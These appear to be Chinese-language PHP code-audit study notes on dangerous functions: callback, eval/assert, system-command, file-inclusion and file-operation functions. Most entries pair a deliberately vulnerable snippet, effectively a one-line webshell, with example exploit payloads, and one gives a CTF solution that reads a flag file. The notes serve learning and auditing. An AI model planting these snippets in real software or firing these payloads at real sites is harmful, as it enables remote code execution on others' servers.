代码审计知识点记录

代码审计学习的一些笔记

代码审计-常见php威胁函数(上)

文章来自成都知道创宇

1.常见php回调函数,可调用其他命令/代码执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
call_user_func()

call_user_func_array()

create_function()

array_walk()

array_map()

array_filter()

usort()

ob_start()

可变函数$_GET['a']($_GET['b'])

2.常见php可执行系统命令的函数:

system()、passthru()、exec()、shell_exec()、 pcntl_exec()、popen()、proc_open()

3.常见php可代码执行的函数:

eval()、assert()、preg_replace()、$

4.禁用危险函数:

php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数.如:disable_functions =system,passthru,shell_exec,exec,popen

一、可执行php代码的函数

1
<?php eval($_GET['cmd']); assert($_GET['cmd']); ?>

php 7.1.7 ,已经无法用call_user_func回调调用 test.php?cmd=phpinfo(); preg_replace() 5.6以下可以执行 5.6以上仍然可以执行,但是会有警告 PHP7后已经不支持/e修饰符 preg_replace(“/test/e”,$_GET[“h”],”jutst test”); //将jutst test以/test正则匹配以h来替换 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?h=phpinfo() ${phpinfo()}

二、常见php回调函数,可调用其他命令/代码执行函数:

1) call_user_func()

call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

回调函数

1
2
3
4
5
<?php
call_user_func($_GET['a1'],$_GET['a2']);
//xxx.php?a1=system&a2=whoami //命令执行
//xxx.php?a1=assert&a2=phpinfo() //代码执行
?>

调用类中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

call_user_func($_POST['ctfshow']);
1
2
3
4
5
php中 ->与:: 调用类中的成员的区别

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法.

所以这里payload

1
ctfshow=ctfshow::getFlag

调用类中的函数【数组】

1
2
3
4
5
6
7
call_user_func()参数不仅可以是字符串,还有 数组形式!

call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

array[0]=$classname 类名
array[1]=say_hello say_hello()方法
按照上述格式得到payload:

ctfshow[]=ctfshow&ctfshow[]=getFlag   #POST

2)call_user_func_array()

call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

1
2
3
4
5
<?php
call_user_func_array($_GET['a1'],$_GET['a2']);
//xxx.php?a1=system&a2[]=whoami
//xxx.php?a1=assert&a2[]=phpinfo()
?>

3)create_function()

创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值

1
2
3
4
<?php
$b=create_function('', @$_REQUEST['a']);$b();
//xxx.php?a=phpinfo();
?>

4) array_walk()

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

1
2
3
4
5
<?php
array_walk($_GET['a'],$_GET['b']);
//xxx.php?a[]=phpinfo()&b=assert
//xxx.php?a[]=whoami&b=system
?>

5)array_map()

array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
5
6
7
8
<?php
array_map($_GET['a'],$_GET['b']);
//xxx.php?a=system&b[]=whoami
//xxx.php?a=assert&b[]=phpinfo()
//$array = array(0,1,2,3,4,5);
//array_map($_GET['a'],$array);
//.php?a=phpinfo
?>

6) array_filter()

array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

1
2
3
4
5
<?php 
array_filter(array($_GET['cmd']),$_GET['func']);
//?func=system&cmd=whoami
//?func=assert&cmd=phpinfo()
?>

7) 可变函数$var(args)

PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

1
2
3
4
5
<?php  
$_GET['a']($_GET['b']);
//xxx.php?a=system&b=whoami
//xxx?a=assert&b=phpinfo()
?>

8) usort()

本函数将用用户自定义的比较函数对一个数组中的值进行排序 php5.6之前可以

1
2
3
4
5
<?php
usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert POST传参: x=phpinfo();

9)uasort

php5.6 php7不可以

1
2
3
4
5
6
7
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>

payload: 1.php?a=assert POST传参: x=phpinfo();

10)ob_start

ob_start — 打开输出控制缓冲

1
2
3
4
5
6
7
8
<?php 
$foobar = $_GET['b'];
ob_start($foobar);
echo $_GET['h'];
ob_end_flush();
?>

/test.php?h=whoami&b=system

三、常见php可执行系统命令的函数:

1) system()

1
<?php system($_GET['a']); //xxx.php?a=whoami ?>

2) passthru()

1
<?php passthru($_GET['a']); //xxx.php?a=whoami ?>

3) exec()

1
2
3
4
5
<?php 
$output = exec($_GET['a']);
echo "<pre>$output</pre>";
//xxx.php?a=whoami
?>

4) shell_exec()

1
2
3
4
5
<?php
$output = shell_exec($_GET['a']);
echo "<pre>$output</pre>";
//xxx.php?a=whoami
?>

5) pcntl_exec()

要求:linux系统特有模块,需编译选项中存在—enable-pcntl

1
<?php pcntl_exec( "/bin/bash" , array("whoami")); ?>

6) popen()

popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

1
2
3
4
5
6
7
8
9
10
11
12
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

<?php
$test = $_GET['h'];
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>

7) proc_open()

类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力

<?php
$test = "whoami";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

8) 反单引号

1
<?php echo `whoami`; ?>

四、文件包含

include将会包含语句并执行指定文件 PHP的配置文件allowurlfopen和allow_url_include设置为ON include/require等包含函数可以加载远程文件 include include_once requeire require_once

1
2
3
4
5
<?php 
highlight_file(__FILE);
$file = $_GET['file'];
include $file;
?>

五、php伪协议【web-study已记】

六、文件操作类威胁函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.file_put_contents

2.file_put_contents($file, $string);

3.copy highlight_file()

4.fopen()

5.read file()

6.fread()

7.fgetss()

8.fgets()

9.parse_ini_file()

10.show_source()

11.file()